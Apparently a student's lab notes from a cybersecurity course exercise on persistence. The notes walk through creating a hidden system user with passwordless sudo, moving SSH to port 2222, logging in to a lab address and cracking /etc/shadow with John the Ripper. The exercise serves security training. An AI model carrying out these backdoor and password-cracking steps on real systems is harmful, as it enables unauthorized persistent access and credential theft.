**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:  
   * adduser sysd -no-create-home -uid 11
2. Give your secret user a password:  
   passw0rd
3. Give your secret user a system UID < 1000:  
   * See above
4. Give your secret user the same GID:
5. Give your secret user full sudo access without the need for a password:  
   Sudo visudo

sysd ALL=(ALL:ALL) NOPASSWD:ALL

1. Test that sudo access works without your password:  
     
    Su sysd

Sudo nano /etc/passwd

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:  
     
   Port 22

Port 2222

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:  
   * Service ssh restart
   * Service sshd restart
2. Exit the root account:  
   * exit
3. SSH to the target machine using your sysd account and port 2222:  
   * ssh sysd@192.168.6.105 -p 2222
4. Use sudo to switch to the root user:  
   * sudo su root

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:  
   * ssh sysd@192.168.6.105 -p 2222
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:  
   * John /etc/shadow